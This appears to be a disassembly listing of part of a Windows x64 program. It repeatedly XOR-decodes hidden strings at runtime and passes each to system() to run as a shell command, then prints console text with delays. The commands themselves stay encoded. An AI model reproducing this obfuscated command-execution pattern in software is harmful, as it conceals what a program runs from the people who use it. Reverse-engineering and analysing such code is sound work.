movsxd rax, r8d
lea r9, [rbp + 0x1920]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x93
jl 0x140008e50
lea rcx, [rbp + 0x1920]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x14009d180]
movups xmm0, xmmword [0x14009d170]
movups xmmword [rbp + 0x1d30], xmm1
movups xmmword [rbp + 0x1d20], xmm0
movups xmm1, xmmword [0x14009d1a0]
movups xmm0, xmmword [0x14009d190]
movups xmmword [rbp + 0x1d50], xmm1
movups xmmword [rbp + 0x1d40], xmm0
movups xmm1, xmmword [0x14009d1c0]
movups xmm0, xmmword [0x14009d1b0]
movups xmmword [rbp + 0x1d70], xmm1
movups xmmword [rbp + 0x1d60], xmm0
movzx eax, byte [0x14009d1f0]
movups xmm1, xmmword [0x14009d1e0]
movups xmm0, xmmword [0x14009d1d0]
mov byte [rbp + 0x1da0], al
movups xmmword [rbp + 0x1d90], xmm1
movups xmmword [rbp + 0x1d80], xmm0
mov r8d, esi
cmp r15d, 2
jl 0x140009069
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, ebx
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1d24]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140008f60
cmp r8d, 0x81
jge 0x1400090b3
movsxd rax, r8d
lea r9, [rbp + 0x1d20]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x81
jl 0x140009080
lea rcx, [rbp + 0x1d20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009d8c0]
movups xmmword [rbp + 0x24a0], xmm0
movups xmm0, xmmword [0x14009d8e0]
movups xmm1, xmmword [0x14009d8d0]
movups xmmword [rbp + 0x24c0], xmm0
movups xmmword [rbp + 0x24b0], xmm1
movups xmm0, xmmword [0x14009d900]
movups xmm1, xmmword [0x14009d8f0]
movups xmmword [rbp + 0x24e0], xmm0
movups xmmword [rbp + 0x24d0], xmm1
movups xmm0, xmmword [0x14009d920]
movups xmm1, xmmword [0x14009d910]
movups xmmword [rbp + 0x2500], xmm0
movups xmmword [rbp + 0x24f0], xmm1
mov eax, dword [0x14009d950]
movups xmm0, xmmword [0x14009d940]
movups xmm1, xmmword [0x14009d930]
mov dword [rbp + 0x2530], eax
movups xmmword [rbp + 0x2520], xmm0
movups xmmword [rbp + 0x2510], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000929b
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, ebx
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x24a4]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140009192
cmp r8d, 0x94
jge 0x1400092e3
movsxd rax, r8d
lea r9, [rbp + 0x24a0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x94
jl 0x1400092b0
lea rcx, [rbp + 0x24a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009e420]
movups xmmword [rbp + 0x16a0], xmm0
movups xmm0, xmmword [0x14009e440]
movups xmmword [rbp + 0x16c0], xmm0
movups xmm0, xmmword [0x14009e460]
movups xmm1, xmmword [0x14009e430]
movups xmmword [rbp + 0x16e0], xmm0
movups xmmword [rbp + 0x16b0], xmm1
movups xmm0, xmmword [0x14009e480]
movups xmm1, xmmword [0x14009e450]
movups xmmword [rbp + 0x1700], xmm0
movups xmmword [rbp + 0x16d0], xmm1
mov eax, dword [0x14009e4b8]
movups xmm0, xmmword [0x14009e4a0]
movups xmm1, xmmword [0x14009e470]
mov dword [rbp + 0x1738], eax
movups xmmword [rbp + 0x1720], xmm0
movups xmmword [rbp + 0x16f0], xmm1
movzx eax, word [0x14009e4bc]
movsd xmm0, qword [0x14009e4b0]
movups xmm1, xmmword [0x14009e490]
mov word [rbp + 0x173c], ax
movsd qword [rbp + 0x1730], xmm0
movups xmmword [rbp + 0x1710], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x1400094e9
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, ebx
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x16a4]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x1400093e0
cmp r8d, 0x9e
jge 0x140009533
movsxd rax, r8d
lea r9, [rbp + 0x16a0]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9e
jl 0x140009500
lea rcx, [rbp + 0x16a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009c6d0]
movups xmmword [rbp + 0x1f80], xmm0
movups xmm0, xmmword [0x14009c6f0]
movups xmmword [rbp + 0x1fa0], xmm0
movups xmm0, xmmword [0x14009c710]
movups xmm1, xmmword [0x14009c6e0]
movups xmmword [rbp + 0x1fc0], xmm0
movups xmmword [rbp + 0x1f90], xmm1
movups xmm0, xmmword [0x14009c730]
movups xmm1, xmmword [str._tUSMP]
movups xmmword [rbp + 0x1fe0], xmm0
movups xmmword [rbp + 0x1fb0], xmm1
movups xmm0, xmmword [0x14009c750]
movups xmm1, xmmword [0x14009c720]
movups xmmword [rbp + 0x2000], xmm0
movups xmmword [rbp + 0x1fd0], xmm1
movzx eax, word [0x14009c768]
movsd xmm0, qword [0x14009c760]
movups xmm1, xmmword [0x14009c740]
mov word [rbp + 0x2018], ax
movsd qword [rbp + 0x2010], xmm0
movups xmmword [rbp + 0x1ff0], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x140009739
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, ebx
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1f84]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140009630
cmp r8d, 0x9a
jge 0x140009783
movsxd rax, r8d
lea r9, [rbp + 0x1f80]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9a
jl 0x140009750
lea rcx, [rbp + 0x1f80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009e030]
movups xmmword [rbp + 0x2900], xmm0
movups xmm0, xmmword [0x14009e050]
movups xmm1, xmmword [0x14009e040]
movups xmmword [rbp + 0x2920], xmm0
movups xmmword [rbp + 0x2910], xmm1
movups xmm0, xmmword [0x14009e070]
movups xmm1, xmmword [0x14009e060]
movups xmmword [rbp + 0x2940], xmm0
movups xmmword [rbp + 0x2930], xmm1
movups xmm0, xmmword [0x14009e090]
movups xmm1, xmmword [0x14009e080]
movups xmmword [rbp + 0x2960], xmm0
movups xmmword [rbp + 0x2950], xmm1
mov eax, dword [0x14009e0c0]
movups xmm0, xmmword [0x14009e0b0]
movups xmm1, xmmword [0x14009e0a0]
mov dword [rbp + 0x2990], eax
movups xmmword [rbp + 0x2980], xmm0
movups xmmword [rbp + 0x2970], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000996b
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, ebx
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2904]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140009862
cmp r8d, 0x94
jge 0x1400099b3
movsxd rax, r8d
lea r9, [rbp + 0x2900]
add r9, rax
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x94
jl 0x140009980
lea rcx, [rbp + 0x2900]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x14009dfc0]
movups xmmword [rbp + 0x410], xmm0
movzx eax, word [0x14009dfd0]
mov word [rbp + 0x420], ax
cmp byte [0x14009dfd1], 0
je 0x140009ba0
mov r8d, esi
cmp r15d, 2
jl 0x140009b63
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, ebx
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x414]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140009a60
cmp r8d, 0x12
jge 0x140009ba0
movsxd rax, r8d
lea r9, [rbp + 0x410]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140009b70
lea rcx, [rbp + 0x410]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rbx, [rbp + 0x3a30]
cmp qword [rbp + 0x3a48], 0x10
cmovae rbx, qword [rbp + 0x3a30]
lea rdi, [rbp + 0x3a30]
cmovae rdi, qword [rbp + 0x3a30]
add rdi, qword [rbp + 0x3a40]
cmp rbx, rdi
je 0x140009c12
nop
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024340
lea rdx, [0x140024510]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x140009be0
xor eax, eax
mov qword [rbp + 0x21a8], rax
movdqa xmm0, xmmword [0x14009ef50]
movdqu xmmword [rbp + 0x21b0], xmm0
mov dword [rbp + 0x21c0], r14d
mov dword [rbp + 0x21c4], Ordinal_60
mov dword [rbp + 0x21c8], WSAGetLastError
lea rcx, [rbp + 0x21a8]
call fcn.140020310
mov rdx, rax
lea rcx, [rbp + 0x1a8]
call fcn.140002d40
nop
lea rbx, [rbp + 0x1a8]
mov r8, qword [rbp + 0x1a8]
mov rdx, qword [rbp + 0x1c0]
cmp rdx, 0x10
cmovae rbx, r8
lea rcx, [rbp + 0x1a8]
cmovae rcx, r8
mov rdi, qword [rbp + 0x1b8]
add rdi, rcx
cmp rbx, rdi
je 0x140009ce0
nop dword [rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024340
lea rdx, [0x140024510]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x140009ca0
mov rdx, qword [rbp + 0x1c0]
mov r8, qword [rbp + 0x1a8]
cmp rdx, 0x10
jb 0x140009d16
inc rdx
mov rax, r8
cmp rdx, 0x1000
jb 0x140009d0e
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012e31
mov rcx, r8
call fcn.140087bdc
movdqa xmm0, xmmword [0x14009ec80]
movdqu xmmword [rbp + 0x1b8], xmm0
mov byte [rbp + 0x1a8], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r14
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov dword [rbp + 0x10], 0x6d305b1b
mov byte [rbp + 0x14], 0
lea rbx, [rbp + 0x10]
lea rdi, [rbp + 0x14]
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024340
lea rdx, [0x140024510]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x140009d60
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140009dcd
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009dc8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012e31
call fcn.140087bdc
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2d50], xmm0
movups xmmword [rbp + 0x2d60], xmm0
mov dword [rbp + 0x2d70], eax
mov word [rbp + 0x2d74], ax
mov dword [rbp + 0x2d78], 0x3d
mov dword [rbp + 0x2d7c], 0x7c
movdqa xmm0, xmmword [0x14009f060]
movdqu xmmword [rbp + 0x2d80], xmm0
movdqa xmm1, xmmword [0x14009f130]
movdqu xmmword [rbp + 0x2d90], xmm1
movdqa xmm0, xmmword [0x14009ed10]
movdqu xmmword [rbp + 0x2da0], xmm0
movdqa xmm1, xmmword [0x14009ef00]
movdqu xmmword [rbp + 0x2db0], xmm1
movdqa xmm0, xmmword [0x14009ee30]
movdqu xmmword [rbp + 0x2dc0], xmm0
movdqa xmm1, xmmword [0x14009eea0]
movdqu xmmword [rbp + 0x2dd0], xmm1
movdqa xmm0, xmmword [0x14009f160]
movdqu xmmword [rbp + 0x2de0], xmm0
movdqa xmm1, xmmword [0x14009efd0]
movdqu xmmword [rbp + 0x2df0], xmm1
mov dword [rbp + 0x2e00], reloc.WS2_32.dll_select
mov dword [rbp + 0x2e04], WSAGetLastError
mov dword [rbp + 0x2e08], reloc.WLDAP32.dll_Ordinal_26
lea rcx, [rbp + 0x2d50]
call fcn.14001f960
mov rdx, rax
lea rcx, [rbp + 0x188]
call fcn.140002d40
nop
lea rbx, [rbp + 0x188]
mov r8, qword [rbp + 0x188]
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 0x10
cmovae rbx, r8
lea rcx, [rbp + 0x188]
cmovae rcx, r8
mov rdi, qword [rbp + 0x198]
add rdi, rcx
cmp rbx, rdi
je 0x140009f50
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024340
lea rdx, [0x140024510]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x140009f10
mov rdx, qword [rbp + 0x1a0]
mov r8, qword [rbp + 0x188]
cmp rdx, 0x10
jb 0x140009f86
inc rdx
mov rax, r8
cmp rdx, 0x1000
jb 0x140009f7e
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012e31
mov rcx, r8
call fcn.140087bdc
movdqa xmm0, xmmword [0x14009ec80]
movdqu xmmword [rbp + 0x198], xmm0
mov byte [rbp + 0x188], 0
lea rbx, [rbp + 0x3a30]
cmp qword [rbp + 0x3a48], 0x10
cmovae rbx, qword [rbp + 0x3a30]
lea rcx, [rbp + 0x3a30]
cmovae rcx, qword [rbp + 0x3a30]
mov rdi, qword [rbp + 0x3a40]
add rdi, rcx
cmp rbx, rdi
je 0x14000a012
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024340
lea rdx, [0x140024510]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x140009fe0
lea rdx, [0x14009bab8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003350
lea rdx, [0x140003540]
mov rcx, rax
